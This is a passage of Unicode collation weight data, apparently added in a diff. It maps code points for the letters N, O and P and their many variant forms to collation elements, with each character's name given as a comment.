+1D593 ; [.1DB9.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL N
+1D5C7 ; [.1DB9.0020.0005] # MATHEMATICAL SANS-SERIF SMALL N
+1D5FB ; [.1DB9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL N
+1D62F ; [.1DB9.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL N
+1D663 ; [.1DB9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL N
+1D697 ; [.1DB9.0020.0005] # MATHEMATICAL MONOSPACE SMALL N
+24DD  ; [.1DB9.0020.0006] # CIRCLED LATIN SMALL LETTER N
+004E  ; [.1DB9.0020.0008] # LATIN CAPITAL LETTER N
+FF2E  ; [.1DB9.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER N
+1F11D ; [*0317.0020.0004][.1DB9.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER N
+2115  ; [.1DB9.0020.000B] # DOUBLE-STRUCK CAPITAL N
+1D40D ; [.1DB9.0020.000B] # MATHEMATICAL BOLD CAPITAL N
+1D441 ; [.1DB9.0020.000B] # MATHEMATICAL ITALIC CAPITAL N
+1D475 ; [.1DB9.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL N
+1D4A9 ; [.1DB9.0020.000B] # MATHEMATICAL SCRIPT CAPITAL N
+1D4DD ; [.1DB9.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL N
+1D511 ; [.1DB9.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL N
+1D579 ; [.1DB9.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL N
+1D5AD ; [.1DB9.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL N
+1D5E1 ; [.1DB9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL N
+1D615 ; [.1DB9.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL N
+1D649 ; [.1DB9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL N
+1D67D ; [.1DB9.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL N
+24C3  ; [.1DB9.0020.000C] # CIRCLED LATIN CAPITAL LETTER N
+1F15D ; [.1DB9.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER N
+207F  ; [.1DB9.0020.0014] # SUPERSCRIPT LATIN SMALL LETTER N
+2099  ; [.1DB9.0020.0015] # LATIN SUBSCRIPT SMALL LETTER N
+1D3A  ; [.1DB9.0020.001D] # MODIFIER LETTER CAPITAL N
+1F13D ; [.1DB9.0020.001D] # SQUARED LATIN CAPITAL LETTER N
+1F17D ; [.1DB9.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER N
+0144  ; [.1DB9.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143  ; [.1DB9.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER N WITH ACUTE
+01F9  ; [.1DB9.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER N WITH GRAVE
+01F8  ; [.1DB9.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER N WITH GRAVE
+0148  ; [.1DB9.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER N WITH CARON
+0147  ; [.1DB9.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER N WITH CARON
+00F1  ; [.1DB9.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER N WITH TILDE
+00D1  ; [.1DB9.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER N WITH TILDE
+1E45  ; [.1DB9.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER N WITH DOT ABOVE
+1E44  ; [.1DB9.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER N WITH DOT ABOVE
+0146  ; [.1DB9.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER N WITH CEDILLA
+0145  ; [.1DB9.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER N WITH CEDILLA
+A7A5  ; [.1DB9.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER N WITH OBLIQUE STROKE
+A7A4  ; [.1DB9.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER N WITH OBLIQUE STROKE
+1E47  ; [.1DB9.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER N WITH DOT BELOW
+1E46  ; [.1DB9.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER N WITH DOT BELOW
+1E4B  ; [.1DB9.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW
+1E4A  ; [.1DB9.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW
+1E49  ; [.1DB9.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER N WITH LINE BELOW
+1E48  ; [.1DB9.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER N WITH LINE BELOW
+3381  ; [.1DB9.0020.001C][.1C47.0020.001D] # SQUARE NA
+1F195 ; [.1DB9.0020.001D][.1CAA.0020.001D][.1EF5.0020.001D] # SQUARED NEW
+338B  ; [.1DB9.0020.001C][.1CE5.0020.001D] # SQUARE NF
+1F196 ; [.1DB9.0020.001D][.1CF4.0020.001D] # SQUARED NG
+01CC  ; [.1DB9.0020.0004][.1D4C.0020.0004] # LATIN SMALL LETTER NJ
+01CB  ; [.1DB9.0020.000A][.1D4C.0020.0004] # LATIN CAPITAL LETTER N WITH SMALL LETTER J
+01CA  ; [.1DB9.0020.000A][.1D4C.0020.000A] # LATIN CAPITAL LETTER NJ
+339A  ; [.1DB9.0020.001C][.1DAA.0020.001C] # SQUARE NM
+2116  ; [.1DB9.0020.000A][.1DDD.0020.0004] # NUMERO SIGN
+33B1  ; [.1DB9.0020.001C][.1E71.0020.001C] # SQUARE NS
+33B5  ; [.1DB9.0020.001C][.1EE3.0020.001D] # SQUARE NV
+33BB  ; [.1DB9.0020.001C][.1EF5.0020.001D] # SQUARE NW
+0274  ; [.1DBD.0020.0002] # LATIN LETTER SMALL CAPITAL N
+1DE1  ; [.1DBD.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL N
+1DB0  ; [.1DBD.0020.0014] # MODIFIER LETTER SMALL CAPITAL N
+1D3B  ; [.1DC1.0020.0002] # MODIFIER LETTER CAPITAL REVERSED N
+1D0E  ; [.1DC2.0020.0002] # LATIN LETTER SMALL CAPITAL REVERSED N
+1D70  ; [.1DC3.0020.0002] # LATIN SMALL LETTER N WITH MIDDLE TILDE
+0272  ; [.1DC4.0020.0002] # LATIN SMALL LETTER N WITH LEFT HOOK
+019D  ; [.1DC4.0020.0008] # LATIN CAPITAL LETTER N WITH LEFT HOOK
+1DAE  ; [.1DC4.0020.0014] # MODIFIER LETTER SMALL N WITH LEFT HOOK
+019E  ; [.1DC8.0020.0002] # LATIN SMALL LETTER N WITH LONG RIGHT LEG
+0220  ; [.1DC8.0020.0008] # LATIN CAPITAL LETTER N WITH LONG RIGHT LEG
+A791  ; [.1DCC.0020.0002] # LATIN SMALL LETTER N WITH DESCENDER
+A790  ; [.1DCC.0020.0008] # LATIN CAPITAL LETTER N WITH DESCENDER
+1D87  ; [.1DCD.0020.0002] # LATIN SMALL LETTER N WITH PALATAL HOOK
+0273  ; [.1DCE.0020.0002] # LATIN SMALL LETTER N WITH RETROFLEX HOOK
+1DAF  ; [.1DCE.0020.0014] # MODIFIER LETTER SMALL N WITH RETROFLEX HOOK
+0235  ; [.1DD2.0020.0002] # LATIN SMALL LETTER N WITH CURL
+AB3B  ; [.1DD6.0020.0002] # LATIN SMALL LETTER N WITH CROSSED-TAIL
+A774  ; [.1DD7.0020.0002] # LATIN SMALL LETTER NUM
+014B  ; [.1DD8.0020.0002] # LATIN SMALL LETTER ENG
+014A  ; [.1DD8.0020.0008] # LATIN CAPITAL LETTER ENG
+1D51  ; [.1DD8.0020.0014] # MODIFIER LETTER SMALL ENG
+AB3C  ; [.1DDC.0020.0002] # LATIN SMALL LETTER ENG WITH CROSSED-TAIL
+006F  ; [.1DDD.0020.0002] # LATIN SMALL LETTER O
+FF4F  ; [.1DDD.0020.0003] # FULLWIDTH LATIN SMALL LETTER O
+0366  ; [.1DDD.0020.0004] # COMBINING LATIN SMALL LETTER O
+24AA  ; [*0317.0020.0004][.1DDD.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER O
+2134  ; [.1DDD.0020.0005] # SCRIPT SMALL O
+1D428 ; [.1DDD.0020.0005] # MATHEMATICAL BOLD SMALL O
+1D45C ; [.1DDD.0020.0005] # MATHEMATICAL ITALIC SMALL O
+1D490 ; [.1DDD.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL O
+1D4F8 ; [.1DDD.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL O
+1D52C ; [.1DDD.0020.0005] # MATHEMATICAL FRAKTUR SMALL O
+1D560 ; [.1DDD.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL O
+1D594 ; [.1DDD.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL O
+1D5C8 ; [.1DDD.0020.0005] # MATHEMATICAL SANS-SERIF SMALL O
+1D5FC ; [.1DDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL O
+1D630 ; [.1DDD.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL O
+1D664 ; [.1DDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL O
+1D698 ; [.1DDD.0020.0005] # MATHEMATICAL MONOSPACE SMALL O
+24DE  ; [.1DDD.0020.0006] # CIRCLED LATIN SMALL LETTER O
+004F  ; [.1DDD.0020.0008] # LATIN CAPITAL LETTER O
+FF2F  ; [.1DDD.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER O
+1F11E ; [*0317.0020.0004][.1DDD.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER O
+1D40E ; [.1DDD.0020.000B] # MATHEMATICAL BOLD CAPITAL O
+1D442 ; [.1DDD.0020.000B] # MATHEMATICAL ITALIC CAPITAL O
+1D476 ; [.1DDD.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL O
+1D4AA ; [.1DDD.0020.000B] # MATHEMATICAL SCRIPT CAPITAL O
+1D4DE ; [.1DDD.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL O
+1D512 ; [.1DDD.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL O
+1D546 ; [.1DDD.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL O
+1D57A ; [.1DDD.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL O
+1D5AE ; [.1DDD.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL O
+1D5E2 ; [.1DDD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL O
+1D616 ; [.1DDD.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL O
+1D64A ; [.1DDD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL O
+1D67E ; [.1DDD.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL O
+24C4  ; [.1DDD.0020.000C] # CIRCLED LATIN CAPITAL LETTER O
+1F15E ; [.1DDD.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER O
+00BA  ; [.1DDD.0020.0014] # MASCULINE ORDINAL INDICATOR
+1D52  ; [.1DDD.0020.0014] # MODIFIER LETTER SMALL O
+2092  ; [.1DDD.0020.0015] # LATIN SUBSCRIPT SMALL LETTER O
+1D3C  ; [.1DDD.0020.001D] # MODIFIER LETTER CAPITAL O
+1F13E ; [.1DDD.0020.001D] # SQUARED LATIN CAPITAL LETTER O
+1F17E ; [.1DDD.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER O
+00F3  ; [.1DDD.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3  ; [.1DDD.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH ACUTE
+00F2  ; [.1DDD.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH GRAVE
+00D2  ; [.1DDD.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH GRAVE
+014F  ; [.1DDD.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER O WITH BREVE
+014E  ; [.1DDD.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER O WITH BREVE
+00F4  ; [.1DDD.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX
+00D4  ; [.1DDD.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
+1ED1  ; [.1DDD.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED0  ; [.1DDD.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE
+1ED3  ; [.1DDD.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED2  ; [.1DDD.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE
+1ED7  ; [.1DDD.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED6  ; [.1DDD.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE
+1ED5  ; [.1DDD.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+1ED4  ; [.1DDD.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE
+01D2  ; [.1DDD.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER O WITH CARON
+01D1  ; [.1DDD.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER O WITH CARON
+00F6  ; [.1DDD.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+1DF3  ; [.1DDD.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER O WITH DIAERESIS
+A79D  ; [.1DDD.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK OE
+00D6  ; [.1DDD.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS
+A79C  ; [.1DDD.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK OE
+022B  ; [.1DDD.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A  ; [.1DDD.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+0151  ; [.1DDD.0020.0002][.0000.002C.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
+0150  ; [.1DDD.0020.0008][.0000.002C.0002] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
+00F5  ; [.1DDD.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH TILDE
+00D5  ; [.1DDD.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH TILDE
+1E4D  ; [.1DDD.0020.0002][.0000.002D.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE
+1E4C  ; [.1DDD.0020.0008][.0000.002D.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE
+1E4F  ; [.1DDD.0020.0002][.0000.002D.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS
+1E4E  ; [.1DDD.0020.0008][.0000.002D.0002][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS
+022D  ; [.1DDD.0020.0002][.0000.002D.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON
+022C  ; [.1DDD.0020.0008][.0000.002D.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON
+022F  ; [.1DDD.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER O WITH DOT ABOVE
+022E  ; [.1DDD.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER O WITH DOT ABOVE
+0231  ; [.1DDD.0020.0002][.0000.002E.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON
+0230  ; [.1DDD.0020.0008][.0000.002E.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON
+00F8  ; [.1DDD.0020.0002][.0000.002F.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8  ; [.1DDD.0020.0008][.0000.002F.0002] # LATIN CAPITAL LETTER O WITH STROKE
+01FF  ; [.1DDD.0020.0002][.0000.002F.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE  ; [.1DDD.0020.0008][.0000.002F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+01EB  ; [.1DDD.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER O WITH OGONEK
+01EA  ; [.1DDD.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER O WITH OGONEK
+01ED  ; [.1DDD.0020.0002][.0000.0031.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH OGONEK AND MACRON
+01EC  ; [.1DDD.0020.0008][.0000.0031.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH OGONEK AND MACRON
+014D  ; [.1DDD.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH MACRON
+014C  ; [.1DDD.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH MACRON
+1E53  ; [.1DDD.0020.0002][.0000.0032.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH MACRON AND ACUTE
+1E52  ; [.1DDD.0020.0008][.0000.0032.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH MACRON AND ACUTE
+1E51  ; [.1DDD.0020.0002][.0000.0032.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH MACRON AND GRAVE
+1E50  ; [.1DDD.0020.0008][.0000.0032.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH MACRON AND GRAVE
+1DED  ; [.1DDD.0020.0004][.0000.0034.0004] # COMBINING LATIN SMALL LETTER O WITH LIGHT CENTRALIZATION STROKE
+1ECF  ; [.1DDD.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH HOOK ABOVE
+1ECE  ; [.1DDD.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH HOOK ABOVE
+020D  ; [.1DDD.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER O WITH DOUBLE GRAVE
+020C  ; [.1DDD.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER O WITH DOUBLE GRAVE
+020F  ; [.1DDD.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER O WITH INVERTED BREVE
+020E  ; [.1DDD.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER O WITH INVERTED BREVE
+01A1  ; [.1DDD.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN
+01A0  ; [.1DDD.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN
+1EDB  ; [.1DDD.0020.0002][.0000.003F.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH HORN AND ACUTE
+1EDA  ; [.1DDD.0020.0008][.0000.003F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH HORN AND ACUTE
+1EDD  ; [.1DDD.0020.0002][.0000.003F.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH HORN AND GRAVE
+1EDC  ; [.1DDD.0020.0008][.0000.003F.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH HORN AND GRAVE
+1EE1  ; [.1DDD.0020.0002][.0000.003F.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE
+1EE0  ; [.1DDD.0020.0008][.0000.003F.0002][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE
+1EDF  ; [.1DDD.0020.0002][.0000.003F.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE
+1EDE  ; [.1DDD.0020.0008][.0000.003F.0002][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE
+1EE3  ; [.1DDD.0020.0002][.0000.003F.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW
+1EE2  ; [.1DDD.0020.0008][.0000.003F.0002][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
+1ECD  ; [.1DDD.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH DOT BELOW
+1ECC  ; [.1DDD.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH DOT BELOW
+1ED9  ; [.1DDD.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1ED8  ; [.1DDD.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+0153  ; [.1DDD.0020.0004][.0000.0110.0004][.1CAA.0020.0004] # LATIN SMALL LIGATURE OE
+0152  ; [.1DDD.0020.000A][.0000.0110.0004][.1CAA.0020.000A] # LATIN CAPITAL LIGATURE OE
+A7F9  ; [.1DDD.0020.0014][.0000.0110.0014][.1CAA.0020.0014] # MODIFIER LETTER SMALL LIGATURE OE
+1F197 ; [.1DDD.0020.001D][.1D65.0020.001D] # SQUARED OK
+A74F  ; [.1DDD.0020.0004][.1DDD.0020.0004] # LATIN SMALL LETTER OO
+A74E  ; [.1DDD.0020.000A][.1DDD.0020.000A] # LATIN CAPITAL LETTER OO
+3375  ; [.1DDD.0020.001C][.1EE3.0020.001D] # SQUARE OV
+1D0F  ; [.1DE1.0020.0002] # LATIN LETTER SMALL CAPITAL O
+1D11  ; [.1DE2.0020.0002] # LATIN SMALL LETTER SIDEWAYS O
+AB3D  ; [.1DE3.0020.0002] # LATIN SMALL LETTER BLACKLETTER O
+0276  ; [.1DE4.0020.0002] # LATIN LETTER SMALL CAPITAL OE
+1D14  ; [.1DE8.0020.0002] # LATIN SMALL LETTER TURNED OE
+AB41  ; [.1DE9.0020.0002] # LATIN SMALL LETTER TURNED OE WITH STROKE
+AB42  ; [.1DEA.0020.0002] # LATIN SMALL LETTER TURNED OE WITH HORIZONTAL STROKE
+AB40  ; [.1DEB.0020.0002] # LATIN SMALL LETTER INVERTED OE
+AB43  ; [.1DEC.0020.0002] # LATIN SMALL LETTER TURNED O OPEN-O
+AB44  ; [.1DED.0020.0002] # LATIN SMALL LETTER TURNED O OPEN-O WITH STROKE
+1D13  ; [.1DEE.0020.0002] # LATIN SMALL LETTER SIDEWAYS O WITH STROKE
+AB3E  ; [.1DEF.0020.0002] # LATIN SMALL LETTER BLACKLETTER O WITH STROKE
+0254  ; [.1DF0.0020.0002] # LATIN SMALL LETTER OPEN O
+0186  ; [.1DF0.0020.0008] # LATIN CAPITAL LETTER OPEN O
+1D53  ; [.1DF0.0020.0014] # MODIFIER LETTER SMALL OPEN O
+1D10  ; [.1DF4.0020.0002] # LATIN LETTER SMALL CAPITAL OPEN O
+1D12  ; [.1DF5.0020.0002] # LATIN SMALL LETTER SIDEWAYS OPEN O
+AB3F  ; [.1DF6.0020.0002] # LATIN SMALL LETTER OPEN O WITH STROKE
+1D97  ; [.1DF7.0020.0002] # LATIN SMALL LETTER OPEN O WITH RETROFLEX HOOK
+AB62  ; [.1DF8.0020.0002] # LATIN SMALL LETTER OPEN OE
+A74D  ; [.1DF9.0020.0002] # LATIN SMALL LETTER O WITH LOOP
+A74C  ; [.1DF9.0020.0008] # LATIN CAPITAL LETTER O WITH LOOP
+1D16  ; [.1DFA.0020.0002] # LATIN SMALL LETTER TOP HALF O
+1D54  ; [.1DFA.0020.0014] # MODIFIER LETTER SMALL TOP HALF O
+1D17  ; [.1DFB.0020.0002] # LATIN SMALL LETTER BOTTOM HALF O
+1D55  ; [.1DFB.0020.0014] # MODIFIER LETTER SMALL BOTTOM HALF O
+2C7A  ; [.1DFC.0020.0002] # LATIN SMALL LETTER O WITH LOW RING INSIDE
+0275  ; [.1DFD.0020.0002] # LATIN SMALL LETTER BARRED O
+019F  ; [.1DFD.0020.0008] # LATIN CAPITAL LETTER O WITH MIDDLE TILDE
+1DB1  ; [.1DFD.0020.0014] # MODIFIER LETTER SMALL BARRED O
+A74B  ; [.1E01.0020.0002] # LATIN SMALL LETTER O WITH LONG STROKE OVERLAY
+A74A  ; [.1E01.0020.0008] # LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY
+0277  ; [.1E02.0020.0002] # LATIN SMALL LETTER CLOSED OMEGA
+A7B7  ; [.1E06.0020.0002] # LATIN SMALL LETTER OMEGA
+A7B6  ; [.1E06.0020.0008] # LATIN CAPITAL LETTER OMEGA
+0223  ; [.1E07.0020.0002] # LATIN SMALL LETTER OU
+0222  ; [.1E07.0020.0008] # LATIN CAPITAL LETTER OU
+1D3D  ; [.1E07.0020.001D] # MODIFIER LETTER CAPITAL OU
+1D15  ; [.1E0B.0020.0002] # LATIN LETTER SMALL CAPITAL OU
+0070  ; [.1E0C.0020.0002] # LATIN SMALL LETTER P
+FF50  ; [.1E0C.0020.0003] # FULLWIDTH LATIN SMALL LETTER P
+1DEE  ; [.1E0C.0020.0004] # COMBINING LATIN SMALL LETTER P
+24AB  ; [*0317.0020.0004][.1E0C.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER P
+1D429 ; [.1E0C.0020.0005] # MATHEMATICAL BOLD SMALL P
+1D45D ; [.1E0C.0020.0005] # MATHEMATICAL ITALIC SMALL P
+1D491 ; [.1E0C.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL P
+1D4C5 ; [.1E0C.0020.0005] # MATHEMATICAL SCRIPT SMALL P
+1D4F9 ; [.1E0C.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL P
+1D52D ; [.1E0C.0020.0005] # MATHEMATICAL FRAKTUR SMALL P
+1D561 ; [.1E0C.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL P
+1D595 ; [.1E0C.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL P
+1D5C9 ; [.1E0C.0020.0005] # MATHEMATICAL SANS-SERIF SMALL P
+1D5FD ; [.1E0C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL P
+1D631 ; [.1E0C.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL P
+1D665 ; [.1E0C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL P
+1D699 ; [.1E0C.0020.0005] # MATHEMATICAL MONOSPACE SMALL P
+24DF  ; [.1E0C.0020.0006] # CIRCLED LATIN SMALL LETTER P
+0050  ; [.1E0C.0020.0008] # LATIN CAPITAL LETTER P
+FF30  ; [.1E0C.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER P
+1F11F ; [*0317.0020.0004][.1E0C.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER P
+2119  ; [.1E0C.0020.000B] # DOUBLE-STRUCK CAPITAL P
+1D40F ; [.1E0C.0020.000B] # MATHEMATICAL BOLD CAPITAL P
+1D443 ; [.1E0C.0020.000B] # MATHEMATICAL ITALIC CAPITAL P
+1D477 ; [.1E0C.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL P
+1D4AB ; [.1E0C.0020.000B] # MATHEMATICAL SCRIPT CAPITAL P
+1D4DF ; [.1E0C.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL P
+1D513 ; [.1E0C.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL P
+1D57B ; [.1E0C.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL P
+1D5AF ; [.1E0C.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL P
+1D5E3 ; [.1E0C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL P
+1D617 ; [.1E0C.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL P
+1D64B ; [.1E0C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL P
+1D67F ; [.1E0C.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL P
+24C5  ; [.1E0C.0020.000C] # CIRCLED LATIN CAPITAL LETTER P
+1F15F ; [.1E0C.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER P
+1D56  ; [.1E0C.0020.0014] # MODIFIER LETTER SMALL P
+209A  ; [.1E0C.0020.0015] # LATIN SUBSCRIPT SMALL LETTER P
+1D3E  ; [.1E0C.0020.001D] # MODIFIER LETTER CAPITAL P
+1F13F ; [.1E0C.0020.001D] # SQUARED LATIN CAPITAL LETTER P
+1F17F ; [.1E0C.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER P
+1F18A ; [.1E0C.0020.001D] # CROSSED NEGATIVE SQUARED LATIN CAPITAL LETTER P
+1E55  ; [.1E0C.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER P WITH ACUTE
